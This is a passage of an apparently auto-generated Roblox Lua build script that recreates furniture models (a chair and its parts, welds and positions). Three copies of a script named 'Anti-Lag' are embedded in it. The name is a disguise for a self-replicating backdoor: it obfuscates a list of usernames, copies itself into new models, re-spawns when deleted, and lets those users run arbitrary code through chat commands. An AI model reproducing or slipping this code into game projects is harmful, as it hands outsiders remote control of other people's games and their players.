Weld493.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1)
Weld493.Part0 = Part475
Weld493.Part1 = Part374
Weld493.part1 = Part374
Weld494.Parent = Part475
Weld494.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld494.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld494.Part0 = Part475
Weld494.Part1 = Part370
Weld494.part1 = Part370
Weld495.Parent = Part475
Weld495.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld495.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld495.Part0 = Part475
Weld495.Part1 = Part370
Weld495.part1 = Part370
Weld496.Parent = Part475
Weld496.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld496.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld496.Part0 = Part475
Weld496.Part1 = Part500
Weld496.part1 = Part500
Weld497.Parent = Part475
Weld497.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld497.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld497.Part0 = Part475
Weld497.Part1 = Part373
Weld497.part1 = Part373
Weld498.Parent = Part475
Weld498.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld498.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1)
Weld498.Part0 = Part475
Weld498.Part1 = Part374
Weld498.part1 = Part374
Weld499.Parent = Part475
Weld499.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld499.C1 = CFrame.new(-1, -1, -1.19995117, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld499.Part0 = Part475
Weld499.Part1 = Part376
Weld499.part1 = Part376
Part500.Name = "Smooth Block Model"
Part500.Parent = Model455
Part500.CFrame = CFrame.new(-16.5410156, 54.8001671, -217.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part500.Orientation = Vector3.new(0, 90, 0)
Part500.Position = Vector3.new(-16.5410156, 54.8001671, -217.051559)
Part500.Rotation = Vector3.new(0, 90, 0)
Part500.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part500.Size = Vector3.new(3, 0.400000006, 3)
Part500.Anchored = true
Part500.BrickColor = BrickColor.new("Dark orange")
Part500.LeftSurface = Enum.SurfaceType.Weld
Part500.RightSurface = Enum.SurfaceType.Weld
Part500.TopSurface = Enum.SurfaceType.Weld
Part500.brickColor = BrickColor.new("Dark orange")
Script501.Name = "Anti-Lag"
Script501.Parent = Part500
table.insert(cors,sandbox(Script501,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld502.Parent = Part500
Weld502.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld502.C1 = CFrame.new(-0.50012207, 0.5, -1, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld502.Part0 = Part500
Weld502.Part1 = Part373
Weld502.part1 = Part373
Weld503.Parent = Part500
Weld503.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld503.C1 = CFrame.new(-1, 0.59992981, -1, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld503.Part0 = Part500
Weld503.Part1 = Part456
Weld503.part1 = Part456
Weld504.Parent = Part500
Weld504.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld504.C1 = CFrame.new(1, 0.599975586, -1, 1, -0, 0, 0, 0, -1, 0, 1, 0)
Weld504.Part0 = Part500
Weld504.Part1 = Part459
Weld504.part1 = Part459
Model505.Name = "Cair2"
Model505.Parent = Model454
Model505.PrimaryPart = Part540
Part506.Name = "Smooth Block Model"
Part506.Parent = Model505
Part506.CFrame = CFrame.new(-11.5410156, 55.1004601, -210.351624, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part506.Orientation = Vector3.new(-90, 0, 0)
Part506.Position = Vector3.new(-11.5410156, 55.1004601, -210.351624)
Part506.Rotation = Vector3.new(-90, 0, 0)
Part506.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part506.Size = Vector3.new(3, 0.400000006, 1)
Part506.Anchored = true
Part506.BottomSurface = Enum.SurfaceType.Smooth
Part506.BrickColor = BrickColor.new("Dark orange")
Part506.LeftSurface = Enum.SurfaceType.Weld
Part506.RightSurface = Enum.SurfaceType.Weld
Part506.TopSurface = Enum.SurfaceType.Weld
Part506.brickColor = BrickColor.new("Dark orange")
Weld507.Parent = Part506
Weld507.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld507.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld507.Part0 = Part506
Weld507.Part1 = Part540
Weld507.part1 = Part540
Weld508.Parent = Part506
Weld508.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld508.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld508.Part0 = Part506
Weld508.Part1 = Part540
Weld508.part1 = Part540
Weld509.Parent = Part506
Weld509.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld509.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld509.Part0 = Part506
Weld509.Part1 = Part540
Weld509.part1 = Part540
Weld510.Parent = Part506
Weld510.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld510.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld510.Part0 = Part506
Weld510.Part1 = Part540
Weld510.part1 = Part540
Weld511.Parent = Part506
Weld511.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld511.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld511.Part0 = Part506
Weld511.Part1 = Part540
Weld511.part1 = Part540
Part512.Name = "Smooth Block Model"
Part512.Parent = Model505
Part512.CFrame = CFrame.new(-11.5410156, 55.1004601, -213.751511, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Part512.Orientation = Vector3.new(90, 0, 0)
Part512.Position = Vector3.new(-11.5410156, 55.1004601, -213.751511)
Part512.Rotation = Vector3.new(90, 0, 0)
Part512.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part512.Size = Vector3.new(3, 0.400000006, 1)
Part512.Anchored = true
Part512.BottomSurface = Enum.SurfaceType.Smooth
Part512.BrickColor = BrickColor.new("Dark orange")
Part512.LeftSurface = Enum.SurfaceType.Weld
Part512.RightSurface = Enum.SurfaceType.Weld
Part512.TopSurface = Enum.SurfaceType.Weld
Part512.brickColor = BrickColor.new("Dark orange")
Weld513.Parent = Part512
Weld513.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld513.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld513.Part0 = Part512
Weld513.Part1 = Part602
Weld513.part1 = Part602
Weld514.Parent = Part512
Weld514.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld514.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld514.Part0 = Part512
Weld514.Part1 = Part602
Weld514.part1 = Part602
Weld515.Parent = Part512
Weld515.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld515.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld515.Part0 = Part512
Weld515.Part1 = Part602
Weld515.part1 = Part602
Weld516.Parent = Part512
Weld516.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld516.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld516.Part0 = Part512
Weld516.Part1 = Part602
Weld516.part1 = Part602
Weld517.Parent = Part512
Weld517.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld517.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld517.Part0 = Part512
Weld517.Part1 = Part602
Weld517.part1 = Part602
Part518.Name = "Smooth Block Model"
Part518.Parent = Model505
Part518.CFrame = CFrame.new(-10.5410156, 54.0002365, -211.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part518.Position = Vector3.new(-10.5410156, 54.0002365, -211.051559)
Part518.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part518.Size = Vector3.new(1, 1.20000005, 1)
Part518.Anchored = true
Part518.BrickColor = BrickColor.new("Dark orange")
Part518.TopSurface = Enum.SurfaceType.Weld
Part518.brickColor = BrickColor.new("Dark orange")
SpecialMesh519.Parent = Part518
SpecialMesh519.Scale = Vector3.new(1.25, 1.25, 1.25)
Part520.Name = "Smooth Block Model"
Part520.Parent = Model505
Part520.CFrame = CFrame.new(-12.5410156, 54.0002365, -211.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part520.Position = Vector3.new(-12.5410156, 54.0002365, -211.051559)
Part520.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part520.Size = Vector3.new(1, 1.20000005, 1)
Part520.Anchored = true
Part520.BrickColor = BrickColor.new("Dark orange")
Part520.TopSurface = Enum.SurfaceType.Weld
Part520.brickColor = BrickColor.new("Dark orange")
SpecialMesh521.Parent = Part520
SpecialMesh521.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld522.Parent = Part520
Weld522.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld522.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld522.Part0 = Part520
Weld522.Part1 = Part540
Weld522.part1 = Part540
Weld523.Parent = Part520
Weld523.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld523.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld523.Part0 = Part520
Weld523.Part1 = Part540
Weld523.part1 = Part540
Weld524.Parent = Part520
Weld524.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld524.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld524.Part0 = Part520
Weld524.Part1 = Part540
Weld524.part1 = Part540
Weld525.Parent = Part520
Weld525.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld525.C1 = CFrame.new(-1, -0.199951172, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld525.Part0 = Part520
Weld525.Part1 = Part540
Weld525.part1 = Part540
Weld526.Parent = Part520
Weld526.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld526.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld526.Part0 = Part520
Weld526.Part1 = Part540
Weld526.part1 = Part540
Part527.Name = "Smooth Block Model"
Part527.Parent = Model505
Part527.CFrame = CFrame.new(-10.5410156, 54.0002365, -213.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part527.Position = Vector3.new(-10.5410156, 54.0002365, -213.051559)
Part527.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part527.Size = Vector3.new(1, 1.20000005, 1)
Part527.Anchored = true
Part527.BrickColor = BrickColor.new("Dark orange")
Part527.TopSurface = Enum.SurfaceType.Weld
Part527.brickColor = BrickColor.new("Dark orange")
SpecialMesh528.Parent = Part527
SpecialMesh528.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld529.Parent = Part527
Weld529.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld529.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld529.Part0 = Part527
Weld529.Part1 = Part540
Weld529.part1 = Part540
Weld530.Parent = Part527
Weld530.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld530.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld530.Part0 = Part527
Weld530.Part1 = Part540
Weld530.part1 = Part540
Weld531.Parent = Part527
Weld531.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld531.C1 = CFrame.new(1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld531.Part0 = Part527
Weld531.Part1 = Part540
Weld531.part1 = Part540
Weld532.Parent = Part527
Weld532.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld532.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld532.Part0 = Part527
Weld532.Part1 = Part540
Weld532.part1 = Part540
Weld533.Parent = Part527
Weld533.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld533.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld533.Part0 = Part527
Weld533.Part1 = Part540
Weld533.part1 = Part540
Part534.Name = "Smooth Block Model"
Part534.Parent = Model505
Part534.CFrame = CFrame.new(-12.5410156, 54.0002365, -213.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part534.Position = Vector3.new(-12.5410156, 54.0002365, -213.051559)
Part534.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part534.Size = Vector3.new(1, 1.20000005, 1)
Part534.Anchored = true
Part534.BrickColor = BrickColor.new("Dark orange")
Part534.TopSurface = Enum.SurfaceType.Weld
Part534.brickColor = BrickColor.new("Dark orange")
SpecialMesh535.Parent = Part534
SpecialMesh535.Scale = Vector3.new(1.25, 1.25, 1.25)
Part536.Name = "Smooth Block Model"
Part536.Parent = Model505
Part536.CFrame = CFrame.new(-9.84106445, 56.1002083, -212.051559, 0, 1, -0, -1, 0, 0, 0, 0, 1)
Part536.Orientation = Vector3.new(0, 0, -90)
Part536.Position = Vector3.new(-9.84106445, 56.1002083, -212.051559)
Part536.Rotation = Vector3.new(0, 0, -90)
Part536.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part536.Size = Vector3.new(3, 0.400000006, 3)
Part536.Anchored = true
Part536.BottomSurface = Enum.SurfaceType.Weld
Part536.BrickColor = BrickColor.new("Dark orange")
Part536.LeftSurface = Enum.SurfaceType.Weld
Part536.RightSurface = Enum.SurfaceType.Weld
Part536.TopSurface = Enum.SurfaceType.Smooth
Part536.brickColor = BrickColor.new("Dark orange")
Weld537.Parent = Part536
Weld537.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld537.C1 = CFrame.new(-1, -0.999951363, 0.599971771, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld537.Part0 = Part536
Weld537.Part1 = Part388
Weld537.part1 = Part388
Weld538.Parent = Part536
Weld538.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld538.C1 = CFrame.new(-0.5, -0.900024414, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1)
Weld538.Part0 = Part536
Weld538.Part1 = Part403
Weld538.part1 = Part403
Weld539.Parent = Part536
Weld539.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld539.C1 = CFrame.new(1, -0.999951363, -1.40002823, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld539.Part0 = Part536
Weld539.Part1 = Part422
Weld539.part1 = Part422
Part540.Name = "Smooth Block Model"
Part540.Parent = Model505
Part540.CFrame = CFrame.new(-11.5410156, 54.8001671, -212.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part540.Position = Vector3.new(-11.5410156, 54.8001671, -212.051559)
Part540.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part540.Size = Vector3.new(3, 0.400000006, 3)
Part540.Anchored = true
Part540.BrickColor = BrickColor.new("Dark orange")
Part540.LeftSurface = Enum.SurfaceType.Weld
Part540.RightSurface = Enum.SurfaceType.Weld
Part540.TopSurface = Enum.SurfaceType.Weld
Part540.brickColor = BrickColor.new("Dark orange")
Script541.Name = "Anti-Lag"
Script541.Parent = Part540
table.insert(cors,sandbox(Script541,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld542.Parent = Part540
Weld542.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld542.C1 = CFrame.new(-1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld542.Part0 = Part540
Weld542.Part1 = Part518
Weld542.part1 = Part518
Weld543.Parent = Part540
Weld543.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld543.C1 = CFrame.new(1, 0.599975586, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld543.Part0 = Part540
Weld543.Part1 = Part534
Weld543.part1 = Part534
Weld544.Parent = Part540
Weld544.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld544.C1 = CFrame.new(1.30004883, -0.199951172, 0, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld544.Part0 = Part540
Weld544.Part1 = Part536
Weld544.part1 = Part536
Weld545.Parent = Part540
Weld545.C0 = CFrame.new(0, 0, -1.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld545.C1 = CFrame.new(0, 0.199951172, 0.300292969, -1, 0, 0, 0, 0, -1, 0, -1, 0)
Weld545.Part0 = Part540
Weld545.Part1 = Part512
Weld545.part1 = Part512
Script546.Name = "Anti-Lag"
Script546.Parent = Model505
table.insert(cors,sandbox(Script546,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Model547.Name = "Chair"
Model547.Parent = Model454
Model547.PrimaryPart = Part579
Part548.Name = "Smooth Block Model"
Part548.Parent = Model547
Part548.CFrame = CFrame.new(-22.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part548.Orientation = Vector3.new(0, 90, 0)
Part548.Position = Vector3.new(-22.5410156, 54.0002365, -218.051559)
Part548.Rotation = Vector3.new(0, 90, 0)
Part548.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part548.Size = Vector3.new(1, 1.20000005, 1)
Part548.Anchored = true
Part548.BrickColor = BrickColor.new("Dark orange")
Part548.TopSurface = Enum.SurfaceType.Weld
Part548.brickColor = BrickColor.new("Dark orange")
SpecialMesh549.Parent = Part548
SpecialMesh549.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld550.Parent = Part548
Weld550.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld550.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld550.Part0 = Part548
Weld550.Part1 = Part579
Weld550.part1 = Part579
Weld551.Parent = Part548
Weld551.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld551.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld551.Part0 = Part548
Weld551.Part1 = Part579
Weld551.part1 = Part579
Weld552.Parent = Part548
Weld552.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld552.C1 = CFrame.new(1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld552.Part0 = Part548
Weld552.Part1 = Part579
Weld552.part1 = Part579
Weld553.Parent = Part548
Weld553.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld553.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld553.Part0 = Part548
Weld553.Part1 = Part579
Weld553.part1 = Part579
Weld554.Parent = Part548
Weld554.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld554.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld554.Part0 = Part548
Weld554.Part1 = Part579
Weld554.part1 = Part579
Part555.Name = "Smooth Block Model"
Part555.Parent = Model547
Part555.CFrame = CFrame.new(-22.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part555.Orientation = Vector3.new(0, 90, 0)
Part555.Position = Vector3.new(-22.5410156, 54.0002365, -216.051559)
Part555.Rotation = Vector3.new(0, 90, 0)
Part555.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part555.Size = Vector3.new(1, 1.20000005, 1)
